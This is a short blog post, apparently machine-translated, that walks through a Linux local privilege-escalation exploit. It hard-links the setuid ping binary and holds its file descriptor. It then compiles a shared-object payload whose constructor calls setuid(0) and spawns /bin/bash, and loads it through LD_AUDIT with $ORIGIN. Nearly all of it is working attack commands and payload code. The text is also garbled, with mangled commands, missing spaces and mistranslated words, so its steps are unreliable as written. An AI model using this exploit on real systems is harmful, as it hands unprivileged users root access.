Linux System Vulnerability Rights

1. Login with normal user first

Su-user1

2. Create a Directory

mkdir/tmp/exploit/

3. Use the ping command to create a hard link

Ln/bin/ping/tmp/exploit/target

View Permissions

[email protected] exploit]$ LL

Total 40

-rwsr-xr-x. 2 root root 37928 Nov

4.

EXEC 3</tmp/exploit/target

LL/PROC/$$/FD/3 ($$: Current process ID)

Lr-x------. 1 User1 user1-Oct-12:16/PROC/21518/FD/3-/tmp/exploit/target

5, delete the previous link files and directories

rm-rf/tmp/exploit/

[Email protected] tmp]$ LL/PROC/$$/FD/3

Lr-x------. 1 user1 user1, Oct 12:16/proc/21518/fd/3-/tmp/exploit/target (Deleted)

6. Create a C language file with the following code: (note the number of Airbus and _)

Cat/tmp/payload.c

void __attribute__ ((constructor)) init ()

{

setuid (0);

System ("/bin/bash");

}

7, use GCC execution, do not show any error can

Gcc-w-fpic-shared-o/tmp/exploit PAYLOAD.C

8. When viewing, this directory has EXECUTE permission

Ll-d/tmp/exploit

-rwxrwxr-x. 1 user1 user1 6020 Oct 13:57/tmp/exploit

ld_audit= "\ $ORIGIN" EXEC/PROC/SELF/FD/3

This article is from the "Silence" blog, make sure to keep this source http://silencezone.blog.51cto.com/3613477/1867594

Linux System Vulnerability Rights